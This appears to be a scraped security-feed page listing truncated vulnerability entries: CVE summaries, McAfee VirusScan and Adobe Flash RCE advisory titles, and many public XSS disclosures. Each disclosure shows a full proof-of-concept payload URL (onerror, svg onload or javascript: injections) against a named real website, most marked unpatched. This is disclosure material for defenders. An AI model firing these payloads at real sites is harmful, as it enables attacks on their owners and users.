Directory traversal

The patch for directory traversal CVE-2017-5480 in b2evolution version 6.8.4-stable has a bypass vulnerability. An attacker can use ../ to bypass the filter rule. Then, this attacker can exploit this vulnerability to delete or read any files on the server. It can also be used to determine whether...

southwestfarmpress.com XSS vulnerability

Vulnerable URL: http://www.southwestfarmpress.com/search/node/test%27%22--%21%3E%3CImage%0CSrcset%3D.%0COnerror%3Dconfirm%60openbugbounty%60%20/// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

rbwonline.de XSS vulnerability

Vulnerable URL: http://www.rbwonline.de/rbwaktuell.php?cmd=2017-01-14' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2001566 VIP website status:| No Check rbwonline.de SSL...

hyogo-caremanet.com XSS vulnerability

Vulnerable URL: http://www.hyogo-caremanet.com/cp-bin/blog/index.php/' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4297748 VIP website status:| No Check hyogo-caremanet.com SSL...

histoire-politique.fr XSS vulnerability

Vulnerable URL: http://www.histoire-politique.fr/index.php?numero=23%27"--!confirmOPENBUGBOUNTY%3C/script /K/=dossier=220' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5373819 VI...

cmmas.org XSS vulnerability

Vulnerable URL: http://www.cmmas.org/cmmasstaff.php?lan=enid=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 781881 VIP website status:| No Check cmmas.org SSL connection:| Grade:...

notedicioccolato.it XSS vulnerability

Vulnerable URL: http://www.notedicioccolato.it/ricetta/index.php?Parole=a%27%22--!%3E%3CScript%20/K/%3EconfirmOPENBUGBOUNTY%3C/Script%20/K/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

accounts.internal.wso2.com XSS vulnerability

Vulnerable URL:...

cmisatlas.mtl.rtss.qc.ca XSS vulnerability

Vulnerable URL: http://www.cmisatlas.mtl.rtss.qc.ca/geoclipdyn/defavo/flashdetection.swf?flashContentURL=javascript:alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

thepufferfish.com XSS vulnerability

Vulnerable URL: http://www.thepufferfish.com/photo/hiband/flashdetection.swf?flashContentURL=javascript:alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 13348756...

phschool.com XSS vulnerability

Vulnerable URL: http://www.phschool.com/atschool/realidades/puzzles/L2Ch05AWordSearchfiles/flashdetection.swf?flashContentURL=javascript:alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Public...

id.crncc.nihr.ac.uk XSS vulnerability

Vulnerable URL:...

contenthub.monsantocms.ca XSS vulnerability

Vulnerable URL: http://contenthub.monsantocms.ca/search'%22--!%3E%3CImage%0CSrcset=.%0COnerror=confirm%60OPENBUGBOUNTY%60%3E/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

CVE-2016-6852

An issue was discovered in Open-Xchange OX App Suite before 7.8.2-rev8. Users can provide local file paths to the RSS reader; the response and error code give hints about whether the provided file exists or not. Attackers may discover specific system files or library versions on the middleware...

CVE-2016-6852

An issue was discovered in Open-Xchange OX App Suite before 7.8.2-rev8. Users can provide local file paths to the RSS reader; the response and error code give hints about whether the provided file exists or not. Attackers may discover specific system files or library versions on the middleware...

McAfee Virus Scan Enterprise For Linux Remote Code Execution

Source: https://nation.state.actor/mcafee.html Vulnerabilities CVE-2016-8016: Remote Unauthenticated File Existence Test CVE-2016-8017: Remote Unauthenticated File Read with Constraints CVE-2016-8018: No Cross-Site Request Forgery Tokens CVE-2016-8019: Cross Site Scripting CVE-2016-8020:...

McAfee Virus Scan Enterprise for Linux - Remote Code Execution Exploit

Exploit for linux platform in category remote exploits ''' Source: https://nation.state.actor/mcafee.html Vulnerabilities CVE-2016-8016: Remote Unauthenticated File Existence Test CVE-2016-8017: Remote Unauthenticated File Read with Constraints CVE-2016-8018: No Cross-Site Request Forgery Tokens...

Adobe Flash MovieClip swapDepth Use-After-Free Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Adobe Flash. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within MovieClip's swapDept...

McAfee Virus Scan Enterprise for Linux 1.9.2 < 2.0.2 - Remote Code Execution

''' Source: https://nation.state.actor/mcafee.html Vulnerabilities CVE-2016-8016: Remote Unauthenticated File Existence Test CVE-2016-8017: Remote Unauthenticated File Read with Constraints CVE-2016-8018: No Cross-Site Request Forgery Tokens CVE-2016-8019: Cross Site Scripting CVE-2016-8020:...

airportpedia.net XSS vulnerability

Vulnerable URL: https://www.airportpedia.net/?search=%3Csvg/onload=alertXSSPOSED%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1127150 VIP website status:| No Coordinated...